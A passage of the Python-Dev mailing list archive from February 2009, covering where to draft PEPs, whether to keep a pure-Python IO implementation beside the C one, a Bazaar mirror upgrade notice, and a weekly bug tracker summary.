> drafts of PEP 0374 was easy and pleasant, and Google Docs gives
> control of access to the document to the editor, not the Subversion
> admin.  The ability to make comments that are not visible to
> non-editors was nice.  Now that it's in Subversion it's much less
> convenient for me (a non-committer).  I actually have to *decide* to
> work on it, rather than simply raising a browser window, hitting
> "refresh" and fixing a typo or two (then back to "day job" work).
> 
> The main problem with Google Docs is that is records a revision
> automatically every so often (good) but doesn't prune the automatic
> commits (possibly hard to do efficiently) OR mark user saves specially
> (easy to do).  This lack of marking "important" revisions makes the
> diff functionality kind of tedious.
> 
> I don't know how automatic the conversion to reST was, but the PEP in
> Subversion is a quite accurate conversion of the Google Doc version.

The Python Wiki should also be considered:

* Comparing versions is easy, and versions are only saved on "Save"

* It supports reStructuredText, so there is no need for conversion
  afterwards.

For PEPs drafted exclusively by committers, SVN is of course still the
best and simplest option.

Georg

-- 
Thus spake the Lord: Thou shalt indent with four spaces. No more, no less.
Four shall be the number of spaces thou shalt indent, and the number of thy
indenting shall be four. Eight shalt thou not indent, nor either indent thou
two, excepting that thou then proceed to four. Tabs are right out.


From solipsis at pitrou.net  Fri Feb 20 12:21:19 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Fri, 20 Feb 2009 11:21:19 +0000 (UTC)
Subject: [Python-Dev] A suggestion: Do proto-PEPs in Google Docs
References: <499C6E00.2030602@canterbury.ac.nz>
	<499CC6E8.5050104@ronadam.com>	<499D243B.8080801@canterbury.ac.nz>	<499D2740.1070408@canterbury.ac.nz>	<499D3086.6020706@canterbury.ac.nz>	<ca471dc20902190712o1ebb3ee5r10f46147abd78324@mail.gmail.com>
	<87tz6ppzk9.fsf@xemacs.org> <gnm3fd$g0p$1@ger.gmane.org>
Message-ID: <loom.20090220T112059-856@post.gmane.org>

Georg Brandl <g.brandl <at> gmx.net> writes:
> 
> The Python Wiki should also be considered:
> 
> * Comparing versions is easy, and versions are only saved on "Save"
> 
> * It supports reStructuredText, so there is no need for conversion
>   afterwards.

And it's vendor-neutral :-)



From g.brandl at gmx.net  Fri Feb 20 12:54:19 2009
From: g.brandl at gmx.net (Georg Brandl)
Date: Fri, 20 Feb 2009 12:54:19 +0100
Subject: [Python-Dev] IO implementation: in C and Python?
In-Reply-To: <loom.20090220T104710-418@post.gmane.org>
References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com>
	<loom.20090220T104710-418@post.gmane.org>
Message-ID: <gnm5ll$mej$2@ger.gmane.org>

Antoine Pitrou schrieb:
> Benjamin Peterson <benjamin <at> python.org> writes:
>> 
>> As we prepare to merge the io-c branch, the question has come up [1]
>> about the original Python implementation. Should it just be deleted in
>> favor C version? The wish to maintain the two implementations together
>> has been raised on the basis that Python is easier to experiment on
>> and read (for other vm implementors).
> 
> As I said, if it is the way forward, I suggest putting the Python version in a
> separate module (e.g. pyio.py), for the sake of clarity and also because it may
> slightly improve startup times (the pure-Python module wouldn't get imported in
> normal conditions).
> 
> Your thoughts?

I just hope everyone updates both versions when making changes to IO.

This is somewhat of a non-problem for small modules like bisect, or heapq.
For pickle and StringIO, we already saw how not to do it in 2.x -- hopefully
the new _pickle and pickle modules stay compatible.  IO is much larger a
piece of code...

Georg

-- 
Thus spake the Lord: Thou shalt indent with four spaces. No more, no less.
Four shall be the number of spaces thou shalt indent, and the number of thy
indenting shall be four. Eight shalt thou not indent, nor either indent thou
two, excepting that thou then proceed to four. Tabs are right out.


From solipsis at pitrou.net  Fri Feb 20 13:01:37 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Fri, 20 Feb 2009 12:01:37 +0000 (UTC)
Subject: [Python-Dev] IO implementation: in C and Python?
References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com>
	<loom.20090220T104710-418@post.gmane.org>
	<gnm5ll$mej$2@ger.gmane.org>
Message-ID: <loom.20090220T115756-269@post.gmane.org>

Georg Brandl <g.brandl <at> gmx.net> writes:
> 
> I just hope everyone updates both versions when making changes to IO.

My proposal is just organizational, it is neutral in terms of whether or not the
Python version is correctly maintained.

We can hope that the IO lib *semantics* won't change too much in the future
(although there is an IMO legitimate request for a setblocking() method:
http://bugs.python.org/issue949667). On the other hand, I don't expect anyone to
willingly use the Python version if the C version is available.




From fuzzyman at voidspace.org.uk  Fri Feb 20 13:04:49 2009
From: fuzzyman at voidspace.org.uk (Michael Foord)
Date: Fri, 20 Feb 2009 12:04:49 +0000
Subject: [Python-Dev] IO implementation: in C and Python?
In-Reply-To: <loom.20090220T115756-269@post.gmane.org>
References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com>	<loom.20090220T104710-418@post.gmane.org>	<gnm5ll$mej$2@ger.gmane.org>
	<loom.20090220T115756-269@post.gmane.org>
Message-ID: <499E9C61.4040009@voidspace.org.uk>

Antoine Pitrou wrote:
> Georg Brandl <g.brandl <at> gmx.net> writes:
>   
>> I just hope everyone updates both versions when making changes to IO.
>>     
>
> My proposal is just organizational, it is neutral in terms of whether or not the
> Python version is correctly maintained.
>
> We can hope that the IO lib *semantics* won't change too much in the future
> (although there is an IMO legitimate request for a setblocking() method:
> http://bugs.python.org/issue949667). On the other hand, I don't expect anyone to
> willingly use the Python version if the C version is available.
>
>
>   

If they're functionally equivalent and single set of tests is run on 
both then -- assuming good tests -- breakage would be noticed...

Michael

> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe: http://mail.python.org/mailman/options/python-dev/fuzzyman%40voidspace.org.uk
>   


From lie.1296 at gmail.com  Fri Feb 20 14:33:59 2009
From: lie.1296 at gmail.com (Lie Ryan)
Date: Fri, 20 Feb 2009 13:33:59 +0000 (UTC)
Subject: [Python-Dev] IO implementation: in C and Python?
References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com>
Message-ID: <gnmbg6$5pp$1@ger.gmane.org>

On Thu, 19 Feb 2009 21:41:51 -0600, Benjamin Peterson wrote:

> As we prepare to merge the io-c branch, the question has come up [1]
> about the original Python implementation. Should it just be deleted in
> favor C version? The wish to maintain the two implementations together
> has been raised on the basis that Python is easier to experiment on and
> read (for other vm implementors).
> 
> Thoughts?
> 
> http://bugs.python.org/issue4565

How about making it an optional module instead, a compile flag when 
compiling python would determine whether the python or C or both versions 
of the libraries would be included with C-only as the default. 
Alternatively, if the compile flag was turned off and you want access to 
the python version, provide a downloadable pure python library (OS 
package manager could have something like python-lib-purepy or something 
similar). This would streamline python, and only people who want to mess 
around would download the purepy version.


From barry at python.org  Fri Feb 20 16:09:52 2009
From: barry at python.org (Barry Warsaw)
Date: Fri, 20 Feb 2009 10:09:52 -0500
Subject: [Python-Dev] Attention Bazaar mirror users
Message-ID: <97B7A93A-B66D-44D1-8E69-2B78CFD50881@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I've just upgraded the Bazaar mirrors on code.python.org to use bzr  
1.12.  We now have the opportunity to upgrade the repository format  
for better performance.  Because of the bzr-svn requirement, we need a  
"rich root" format.  Upgrading to 1.9-rich-root could buy us some  
significant performance improvements, but it will require all clients  
to upgrade to at least bzr 1.9, which was released on November 7, 2008.

I would like to do this upgrade.  If you are currently using the  
Bazaar mirrors at code.python.org and upgrading your client to at  
least bzr 1.9 would be a hardship, please contact me.  If I don't hear  
any objections by say Tuesday, I'll go ahead and do the repo upgrades.

Thanks,
Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSZ7HwHEjvBPtnXfVAQIlxAQAk0ze8AHLY8aezrH35+Vv4tXloLy/FV1M
GHF2QzLBaV45Hr4d3i8Os32eaSvhWyFbCGeBZtm3q3pOwPy9ST/tDdI0XBwjd0M1
FV1Pg3v97IYeI6Pa1HKz0sKxbygACiZ9iQWde3b85zXEhsaZfXo7RiendmMkYift
Uvw0WWJZ1DU=
=sCFZ
-----END PGP SIGNATURE-----

From guido at python.org  Fri Feb 20 16:42:17 2009
From: guido at python.org (Guido van Rossum)
Date: Fri, 20 Feb 2009 07:42:17 -0800
Subject: [Python-Dev] IO implementation: in C and Python?
In-Reply-To: <loom.20090220T115756-269@post.gmane.org>
References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com>
	<loom.20090220T104710-418@post.gmane.org> <gnm5ll$mej$2@ger.gmane.org>
	<loom.20090220T115756-269@post.gmane.org>
Message-ID: <ca471dc20902200742s47778385ua49df11aadb49aff@mail.gmail.com>

On Fri, Feb 20, 2009 at 4:01 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> Georg Brandl <g.brandl <at> gmx.net> writes:
>>
>> I just hope everyone updates both versions when making changes to IO.
>
> My proposal is just organizational, it is neutral in terms of whether or not the
> Python version is correctly maintained.

I worry that with your proposal people are once again going to import
the pure Python version where they shouldn't. Maybe _pyio.py would
work though?

> We can hope that the IO lib *semantics* won't change too much in the future
> (although there is an IMO legitimate request for a setblocking() method:
> http://bugs.python.org/issue949667). On the other hand, I don't expect anyone to
> willingly use the Python version if the C version is available.

Hoping that modules won't evolve is futile. The concern for divergence
is real. Unit-testing both with the same tests might be the solution.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From solipsis at pitrou.net  Fri Feb 20 16:50:45 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Fri, 20 Feb 2009 15:50:45 +0000 (UTC)
Subject: [Python-Dev] IO implementation: in C and Python?
References: <1afaf6160902191941l416c96dei30adc8ce4bb35b81@mail.gmail.com>
	<loom.20090220T104710-418@post.gmane.org>
	<gnm5ll$mej$2@ger.gmane.org>
	<loom.20090220T115756-269@post.gmane.org>
	<ca471dc20902200742s47778385ua49df11aadb49aff@mail.gmail.com>
Message-ID: <loom.20090220T154848-369@post.gmane.org>

Guido van Rossum <guido <at> python.org> writes:
> 
> I worry that with your proposal people are once again going to import
> the pure Python version where they shouldn't. Maybe _pyio.py would
> work though?

I'm ok with _pyio.py.

> Hoping that modules won't evolve is futile. The concern for divergence
> is real. Unit-testing both with the same tests might be the solution.

Yes, the same tests should be applied to both (modulo the few ones that test for
implementation-specific behaviour, e.g. the max_buffer_size stuff).

Regards

Antoine.



From status at bugs.python.org  Fri Feb 20 18:07:22 2009
From: status at bugs.python.org (Python tracker)
Date: Fri, 20 Feb 2009 18:07:22 +0100 (CET)
Subject: [Python-Dev] Summary of Python tracker Issues
Message-ID: <20090220170722.B23AE7838B@psf.upfronthosting.co.za>


ACTIVITY SUMMARY (02/13/09 - 02/20/09)
Python tracker at http://bugs.python.org/

To view or respond to any of the issues listed below, click on the issue 
number.  Do NOT respond to this message.


 2341 open (+55) / 14813 closed (+27) / 17154 total (+82)

Open issues with patches:   817

Average duration of open issues: 656 days.
Median duration of open issues: 393 days.

Open Issues Breakdown
   open  2315 (+55)
pending    26 ( +0)

Issues Created Or Reopened (84)
_______________________________

Document __instancecheck__ and __subclasscheck__                 02/13/09
       http://bugs.python.org/issue5250    created  tjreedy                   
                                                                               

contextlib.nested inconsistent with, well, nested with statement 02/13/09
       http://bugs.python.org/issue5251    created  jwp                       
                                                                               

2to3 should detect and delete import of removed statvfs module   02/13/09
       http://bugs.python.org/issue5252    created  sjt                       
                                                                               

os.environ.get() doesn't handle default value                    02/13/09
CLOSED http://bugs.python.org/issue5253    created  marystern                 
                                                                               

Formatting error in "findertools" header                         02/13/09
       http://bugs.python.org/issue5254    created  adamvan                   
                                                                               

unicode support with os.readlink()                               02/13/09
CLOSED http://bugs.python.org/issue5255    created  scudette                  
                                                                               

rlcompleter adds builtins when custom dict is used               02/14/09
       http://bugs.python.org/issue5256    created  armandas                  
                                                                               

test_zipfle and test_distutils write in the test directories     02/14/09
       http://bugs.python.org/issue5257    created  tarek                     
                                                                               

addpackage in site.py fails hard on badly formed .pth files      02/14/09
       http://bugs.python.org/issue5258    created  jwheare                   
                                                                               

smtplib is broken in Python3                                     02/14/09
       http://bugs.python.org/issue5259    created  miwa                      
                                                                               

longobject.c: minor fixes, cleanups and optimizations            02/14/09
CLOSED http://bugs.python.org/issue5260    created  marketdickinson           
       patch                                                                   

with lock fails on multiprocessing                               02/14/09
       http://bugs.python.org/issue5261    created  stepheng.lynch            
       patch                                                                   

PythonLauncher considered harmfull                               02/14/09
       http://bugs.python.org/issue5262    created  ronaldoussoren            
                                                                               

Error printing UTF-8 decoded text                                02/14/09
CLOSED http://bugs.python.org/issue5263    created  grace                     
                                                                               

StringIO failure when reading a chunk of text without newlines   02/14/09
       http://bugs.python.org/issue5264    created  pitrou                    
                                                                               

StringIO can duplicate newlines in universal newlines mode       02/14/09
       http://bugs.python.org/issue5265    created  pitrou                    
                                                                               

StringIO.read(n) does not enforce requested size in newline mode 02/14/09
       http://bugs.python.org/issue5266    created  pitrou                    
                                                                               

Subversion problem with PythonLauncher after building 3.0 or 3.1 02/15/09
       http://bugs.python.org/issue5267    created  MLModel                   
                                                                               

VMSError not documented in Doc/library/exceptions.rst            02/15/09
CLOSED http://bugs.python.org/issue5268    created  MLModel                   
                                                                               

OS X Installer: add options to specify universal build type and  02/15/09
       http://bugs.python.org/issue5269    created  nad                       
                                                                               

OS X installer: faulty Python.app bundle inside of framework     02/15/09
       http://bugs.python.org/issue5270    created  nad                       
                                                                               

OS X installer: build can fail on import checks                  02/15/09
       http://bugs.python.org/issue5271    created  nad                       
                                                                               

OS X installer: fix makefile target changed for 3.x              02/15/09
       http://bugs.python.org/issue5272    created  nad                       
                                                                               

3.0.1 crashes in unicode path                                    02/15/09
       http://bugs.python.org/issue5273    created  miwa                      
       patch                                                                   

sys.exc_info()[1] - different handling from str() and unicode()  02/15/09
       http://bugs.python.org/issue5274    created  vbr                       
                                                                               

BaseCookie.load doesn't create Morsel objects for mappings       02/15/09
       http://bugs.python.org/issue5275    created  eggy                      
                                                                               

IDLE startup file .Idle.py not documented                        02/15/09
       http://bugs.python.org/issue5276    created  MLModel                   
                                                                               

email message.get_params() and related methods sometimes fail.   02/16/09
       http://bugs.python.org/issue5277    created  msapiro                   
       patch                                                                   

optparse documentation example                                   02/16/09
CLOSED http://bugs.python.org/issue5278    created  orsenthil                 
                                                                               

2to3 mishandles some imports                                     02/16/09
CLOSED http://bugs.python.org/issue5279    created  jwilk                     
                                                                               

PyBytes_InternInPlace is missing in bytesobject.h                02/16/09
CLOSED http://bugs.python.org/issue5280    created  rsms                      
                                                                               

Slight inconsistency in documentation appearances of RuntimeErro 02/16/09
CLOSED http://bugs.python.org/issue5281    created  MLModel                   
                                                                               

mmap.resize and offset                                           02/16/09
CLOSED http://bugs.python.org/issue5282    created  ocean-city                
       patch                                                                   

setting __class__ in __del__ is bad. mmkay. negative ref count!  02/16/09
       http://bugs.python.org/issue5283    created  jwp                       
       patch                                                                   

platform.linux_distribution() improperly documented              02/16/09
CLOSED http://bugs.python.org/issue5284    created  aronacher                 
       easy                                                                    

hmac throws TypeErrors                                           02/16/09
       http://bugs.python.org/issue5285    created  kteague                   
                                                                               

urrlib2 digest authentication problems                           02/16/09
       http://bugs.python.org/issue5286    created  En-Cu-Kou                 
       patch                                                                   

logging package on IronPython                                    02/18/09
CLOSED http://bugs.python.org/issue5287    reopened vsajip                    
       patch                                                                   

tzinfo objects with sub-minute offsets are not supported (e.g. U 02/17/09
       http://bugs.python.org/issue5288    created  jamesh                    
                                                                               

ctypes.util.find_library does not work under Solaris             02/17/09
       http://bugs.python.org/issue5289    created  kewang                    
       patch                                                                   

subprocess.Popen.communicate does not encode unicode strings     02/17/09
       http://bugs.python.org/issue5290    created  beda                      
                                                                               

Windows upgrade to 2.6.1 requires 2.6 installer to be present    02/17/09
CLOSED http://bugs.python.org/issue5291    created  mkesper                   
                                                                               

mmap crashes just on boundary.                                   02/17/09
CLOSED http://bugs.python.org/issue5292    created  ocean-city                
       patch                                                                   

socket timeouts even in blocking mode                            02/17/09
CLOSED http://bugs.python.org/issue5293    created  techtonik                 
                                                                               

pdb "break" command messes up "continue"                         02/17/09
       http://bugs.python.org/issue5294    created  En-Cu-Kou                 
                                                                               

turtle.py "dicionary" spelling patch                             02/17/09
       http://bugs.python.org/issue5295    created  LambertDW                 
                                                                               

Use of term sequence in Reference 6.3	Assignment	Statements      02/17/09
CLOSED http://bugs.python.org/issue5296    created  bgailer                   
                                                                               

Bug in SocketServer Example                                      02/17/09
CLOSED http://bugs.python.org/issue5297    created  zdwiel                    
                                                                               

Inconsistency in C-API thread docs                               02/17/09
       http://bugs.python.org/issue5298    created  osvenskan                 
                                                                               

PyGILState_Ensure()/PyGILState_Release() documentation incomplet 02/17/09
       http://bugs.python.org/issue5299    created  osvenskan                 
                                                                               

Distutils ignores file permissions                               02/17/09
       http://bugs.python.org/issue5300    created  gsakkis                   
                                                                               

add mimetype for image/vnd.microsoft.icon (patch)                02/17/09
       http://bugs.python.org/issue5301    created  adhintz                   
       patch                                                                   

Allow package_data globs match directories                       02/17/09
       http://bugs.python.org/issue5302    created  gsakkis                   
                                                                               

Use base 2**30 for Python longs, when possible                   02/17/09
CLOSED http://bugs.python.org/issue5303    created  loewis                    
                                                                               

email/base64mime.py cannot work                                  02/18/09
       http://bugs.python.org/issue5304    created  l5g                       
                                                                               

imaplib should support international mailbox names               02/18/09
       http://bugs.python.org/issue5305    created  jamesh                    
                                                                               

Python 3.1 won't compile under Visual Studio 2005                02/18/09
CLOSED http://bugs.python.org/issue5306    created  rhettinger                
       patch                                                                   

Python-3.0.1 install fails on Solaris                            02/18/09
CLOSED http://bugs.python.org/issue5307    created  prowat                    
                                                                               

cannot marshal objects with more than 2**31 elements             02/18/09
       http://bugs.python.org/issue5308    created  marketdickinson           
                                                                               

setup.py doesn't parallelize extension module compilation        02/19/09
       http://bugs.python.org/issue5309    created  pitrou                    
                                                                               

operator precedence table is wrong                               02/19/09
CLOSED http://bugs.python.org/issue5310    created  gagenellina               
       patch                                                                   

bdist_msi generates version number for pure Python packages      02/19/09
       http://bugs.python.org/issue5311    created  bethard                   
                                                                               

errno not being set                                              02/19/09
CLOSED http://bugs.python.org/issue5312    created  benjamin.peterson         
                                                                               

multiprocessing.process using os.close(sys.stdin.fileno) instead 02/19/09
       http://bugs.python.org/issue5313    created  grahamd                   
                                                                               

http client error                                                02/19/09
       http://bugs.python.org/issue5314    created  cober                     
                                                                               

signal handler never gets called                                 02/19/09
       http://bugs.python.org/issue5315    created  pts                       
                                                                               

Buildbot failures in test_site                                   02/19/09
       http://bugs.python.org/issue5316    created  pitrou                    
                                                                               

URL given for IronPython in CPython documentation incorrect      02/19/09
CLOSED http://bugs.python.org/issue5317    created  dfugate                   
                                                                               

strip, rstrip & lstrip bug                                       02/19/09
CLOSED http://bugs.python.org/issue5318    created  alexlc                    
                                                                               

I/O error during one-liner fails to return OS error status       02/19/09
       http://bugs.python.org/issue5319    created  mkc                       
                                                                               

I/O error during one-liner gives bad diagnostic (and fails to re 02/19/09
       http://bugs.python.org/issue5320    created  mkc                       
                                                                               

I/O error during one-liner gives no (!) diagnostic (and fails to 02/19/09
       http://bugs.python.org/issue5321    created  mkc                       
                                                                               

Python 2.6 object.__new__ argument calling autodetection faulty  02/19/09
       http://bugs.python.org/issue5322    created  aronacher                 
                                                                               

document expected/required behavior of 3.x io subsystem with res 02/19/09
       http://bugs.python.org/issue5323    created  bitdancer                 
                                                                               

__subclasses__ undocumented                                      02/19/09
       http://bugs.python.org/issue5324    created  mfoord                    
                                                                               

"SyntaxError: None" when the name of the dir contains non-ascii  02/20/09
CLOSED http://bugs.python.org/issue5325    created  ezio.melotti              
                                                                               

Wrong anchors in "What's New in Python 2.5"                      02/20/09
CLOSED http://bugs.python.org/issue5326    created  ezio.melotti              
                                                                               

Broken link in "What's New in Python 2.5"                        02/20/09
CLOSED http://bugs.python.org/issue5327    created  ezio.melotti              
                                                                               

Crash when doing some list iteration                             02/20/09
       http://bugs.python.org/issue5328    created  qwjqwj                    
                                                                               

os.popen2 and os.popen3 in python 2.6 incompatible with os.popen 02/20/09
       http://bugs.python.org/issue5329    created  jahakala                  
       patch                                                                   

profile and cProfile do not report C functions called with keywo 02/20/09
       http://bugs.python.org/issue5330    created  hagen                     
                                                                               

multiprocessing hangs when Pool used within Process              02/20/09
       http://bugs.python.org/issue5331    created  zzzeek                    
                                                                               

bdist_deb - Debian packager                                      02/17/09
       http://bugs.python.org/issue1054967 reopened tarek                     
       patch                                                                   

Give __len__() advice for "don't know"                           02/17/09
       http://bugs.python.org/issue1283110 reopened rhettinger                
                                                                               



Issues Now Closed (103)
_______________________

Problem with doctest and decorated functions                      529 days
       http://bugs.python.org/issue1108    stevenjd                  
                                                                               

setp.py error "The process cannot access the file ..."            490 days
       http://bugs.python.org/issue1285    loewis                    
                                                                               

2.6 stdlib using with statement                                   388 days
       http://bugs.python.org/issue1941    exarkun                   
       patch                                                                   

IRIX: Seg-fault while building tests with gmake on test_xml_etre  375 days
       http://bugs.python.org/issue2048    benjamin.peterson         
                                                                               

distutils sdist add_defaults does not add data_files              342 days
       http://bugs.python.org/issue2279    tarek                     
                                                                               

test_util.py for distutils                                        327 days
       http://bugs.python.org/issue2461    tarek                     
       patch                                                                   

test issue                                                        290 days
       http://bugs.python.org/issue2771    loewis                    
                                                                               

Operator precedence misdocumented                                 184 days
       http://bugs.python.org/issue3558    georg.brandl              
                                                                               

Obsolete references to PEP 291 in py3k lib                        175 days
       http://bugs.python.org/issue3676    benjamin.peterson         
                                                                               

Undetected error in _struct.pack_into                             173 days
       http://bugs.python.org/issue3694    ajaksu2                   
       patch                                                                   

urlparse normalize URL path                                       117 days
       http://bugs.python.org/issue4191    ajaksu2                   
                                                                               

Distutils MSVC doesn't create manifest file (with fix)             84 days
       http://bugs.python.org/issue4431    paxan                     
       patch                                                                   

Add Mac OS X Disk Images to Python.org homepage                    65 days
       http://bugs.python.org/issue4627    carlj                     
                                                                               

failed to build ctypes in Python2.6.1 (even with gcc)              38 days
       http://bugs.python.org/issue4902    matumot                   
                                                                               

name not found in generator in eval()                              23 days
       http://bugs.python.org/issue5044    amaury.forgeotdarc        
                                                                               

urllib.open sends full URL after GET command instead of local pa   23 days
       http://bugs.python.org/issue5072    ajaksu2                   
       patch                                                                   

getsockaddrarg() casts port number from int to short without any   16 days
       http://bugs.python.org/issue5104    gregory.p.smith           
       easy                                                                    

Default hash not equal to id on AMD Sempron                         4 days
       http://bugs.python.org/issue5169    tjreedy                   
                                                                               

subprocess leaves open fds on construction error                    7 days
       http://bugs.python.org/issue5179    georg.brandl              
                                                                               

Reduce hash collisions for objects with no __hash__ method          5 days
       http://bugs.python.org/issue5186    rhettinger                
       patch                                                                   

Update log message formatting.                                     10 days
       http://bugs.python.org/issue5192    vsajip                    
                                                                               

Documentation for super() neglects to say what super() actually     4 days
       http://bugs.python.org/issue5229    rhettinger                
                                                                               

time.strptime fails to match data and format with Unicode whites    1 days
       http://bugs.python.org/issue5240    brett.cannon              
                                                                               

eval() function in List Comprehension doesn't work                  1 days
       http://bugs.python.org/issue5242    georg.brandl              
                                                                               

Unhelpful error message with str.format()                           7 days
       http://bugs.python.org/issue5247    eric.smith                
       patch                                                                   

Fix strftime on windows.                                            3 days
       http://bugs.python.org/issue5249    ocean-city                
       patch                                                                   

os.environ.get() doesn't handle default value                       0 days
       http://bugs.python.org/issue5253    gregory.p.smith           
                                                                               

unicode support with os.readlink()                                  0 days
       http://bugs.python.org/issue5255    loewis                    
                                                                               

longobject.c: minor fixes, cleanups and optimizations               1 days
       http://bugs.python.org/issue5260    marketdickinson           
       patch                                                                   

Error printing UTF-8 decoded text                                   0 days
       http://bugs.python.org/issue5263    benjamin.peterson         
                                                                               

VMSError not documented in Doc/library/exceptions.rst               3 days
       http://bugs.python.org/issue5268    georg.brandl              
                                                                               

optparse documentation example                                      2 days
       http://bugs.python.org/issue5278    georg.brandl              
                                                                               

2to3 mishandles some imports                                        0 days
       http://bugs.python.org/issue5279    benjamin.peterson         
                                                                               

PyBytes_InternInPlace is missing in bytesobject.h                   0 days
       http://bugs.python.org/issue5280    benjamin.peterson         
                                                                               

Slight inconsistency in documentation appearances of RuntimeErro    0 days
       http://bugs.python.org/issue5281    benjamin.peterson         
                                                                               

mmap.resize and offset                                              1 days
       http://bugs.python.org/issue5282    ocean-city                
       patch                                                                   

platform.linux_distribution() improperly documented                 1 days
       http://bugs.python.org/issue5284    lemburg                   
       easy                                                                    

logging package on IronPython                                       1 days
       http://bugs.python.org/issue5287    vsajip                    
       patch                                                                   

Windows upgrade to 2.6.1 requires 2.6 installer to be present       1 days
       http://bugs.python.org/issue5291    loewis                    
                                                                               

mmap crashes just on boundary.                                      0 days
       http://bugs.python.org/issue5292    ocean-city                
       patch                                                                   

socket timeouts even in blocking mode                               1 days
       http://bugs.python.org/issue5293    gregory.p.smith           
                                                                               

Use of term sequence in Reference 6.3	Assignment	Statements         0 days
       http://bugs.python.org/issue5296    georg.brandl              
                                                                               

Bug in SocketServer Example                                         0 days
       http://bugs.python.org/issue5297    georg.brandl              
                                                                               

Use base 2**30 for Python longs, when possible                      0 days
       http://bugs.python.org/issue5303    loewis                    
                                                                               

Python 3.1 won't compile under Visual Studio 2005                   1 days
       http://bugs.python.org/issue5306    amaury.forgeotdarc        
       patch                                                                   

Python-3.0.1 install fails on Solaris                               0 days
       http://bugs.python.org/issue5307    loewis                    
                                                                               

operator precedence table is wrong                                  0 days
       http://bugs.python.org/issue5310    georg.brandl              
       patch                                                                   

errno not being set                                                 1 days
       http://bugs.python.org/issue5312    benjamin.peterson         
                                                                               

URL given for IronPython in CPython documentation incorrect         0 days
       http://bugs.python.org/issue5317    georg.brandl              
                                                                               

strip, rstrip & lstrip bug                                          0 days
       http://bugs.python.org/issue5318    ajaksu2                   
                                                                               

"SyntaxError: None" when the name of the dir contains non-ascii     0 days
       http://bugs.python.org/issue5325    ocean-city                
                                                                               

Wrong anchors in "What's New in Python 2.5"                         0 days
       http://bugs.python.org/issue5326    georg.brandl              
                                                                               

Broken link in "What's New in Python 2.5"                           0 days
       http://bugs.python.org/issue5327    georg.brandl              
                                                                               

Expose FinderInfo in FSCatalogInfo                               2162 days
       http://bugs.python.org/issue706585  ronaldoussoren            
       patch                                                                   

Crbon.File.FSSpec should accept non-existing pathnames           2162 days
       http://bugs.python.org/issue706592  ronaldoussoren            
                                                                               

getpath.c-generated prefix wrong for Tru64 scripts               2127 days
       http://bugs.python.org/issue727732  ajaksu2                   
                                                                               

complex pow() crash on Alpha                                     2071 days
       http://bugs.python.org/issue756093  marketdickinson           
                                                                               

OSX 'freeze' bug                                                 2040 days
       http://bugs.python.org/issue775340  ajaksu2                   
                                                                               

Carbon.Snd module SPB constructor shadowed                       2036 days
       http://bugs.python.org/issue776533  ronaldoussoren            
                                                                               

socket.makefile() isn't compatible with marshal/cPickle/etc      2031 days
       http://bugs.python.org/issue780354  ajaksu2                   
                                                                               

aetools.TalkTo methods can be obscured                           1983 days
       http://bugs.python.org/issue806149  ronaldoussoren            
                                                                               

SCO_SV: many modules cannot be imported                          1969 days
       http://bugs.python.org/issue815753  ajaksu2                   
                                                                               

[2.3.2] bz2 test failure on AIX 4.3.2, Tru64 UNIX                1935 days
       http://bugs.python.org/issue835176  ajaksu2                   
                                                                               

Differentiation between Builtins and extension classes           1920 days
       http://bugs.python.org/issue841461  loewis                    
       patch                                                                   

Can't send Apple Events without WindowServer connection          1905 days
       http://bugs.python.org/issue852150  ronaldoussoren            
                                                                               

Carbon.CF.CFURLRef should be easier to create                    1903 days
       http://bugs.python.org/issue853656  ronaldoussoren            
                                                                               

Configurable SSL handshake                                       1903 days
       http://bugs.python.org/issue854918  ajaksu2                   
                                                                               

Quicktime missing funcitonality                                  1873 days
       http://bugs.python.org/issue869649  ronaldoussoren            
                                                                               

How to pass the proxy server use socket                          1870 days
       http://bugs.python.org/issue872815  ajaksu2                   
                                                                               

add support for installations compiled for debugging             1865 days
       http://bugs.python.org/issue875654  ajaksu2                   
                                                                               

Add a console window for Carbon MacPython applets                1859 days
       http://bugs.python.org/issue878560  ronaldoussoren            
                                                                               

Improving MacPython's IAC support                                1798 days
       http://bugs.python.org/issue916013  benjamin.peterson         
                                                                               

Fix for #876637 - Random stack corruption from socketmodule      1710 days
       http://bugs.python.org/issue970288  ajaksu2                   
       patch                                                                   

test_signal sucks                                                1711 days
       http://bugs.python.org/issue971330  benjamin.peterson         
                                                                               

Slice indexes passed to __getitem__ are wrapped                  1705 days
       http://bugs.python.org/issue974635  brett.cannon              
                                                                               

tp_(get|set)attro? inheritance bug                               1702 days
       http://bugs.python.org/issue975646  benjamin.peterson         
                                                                               

hotspot.stats.load is very slow                                  1688 days
       http://bugs.python.org/issue984219  benjamin.peterson         
                                                                               

Does not build selected SGI specific modules                     1669 days
       http://bugs.python.org/issue995458  tjreedy                   
                                                                               

TclError with intel's hypertheading                              1673 days
       http://bugs.python.org/issue995956  ajaksu2                   
                                                                               

hotspot profiler does not work correctly on P4 CPUs with HT      1663 days
       http://bugs.python.org/issue1001150 ajaksu2                   
                                                                               

PyDoc does not support ZIP                                       1641 days
       http://bugs.python.org/issue1011894 ajaksu2                   
                                                                               

os.stat errors when using shared drive on XP or NT               1615 days
       http://bugs.python.org/issue1027570 ocean-city                
                                                                               

Extend Shelf to support unicode keys                             1600 days
       http://bugs.python.org/issue1036490 loewis                    
                                                                               

compile error with stlport                                       1590 days
       http://bugs.python.org/issue1044299 brett.cannon              
                                                                               

subprocess.Popen feature request                                 1522 days
       http://bugs.python.org/issue1085861 benjamin.peterson         
                                                                               

Enhance tracebacks and stack traces with vars                    1500 days
       http://bugs.python.org/issue1098732 skip.montanaro            
       patch                                                                   

csv reader barfs encountering quote when quote_none is set       1484 days
       http://bugs.python.org/issue1111100 ajaksu2                   
                                                                               

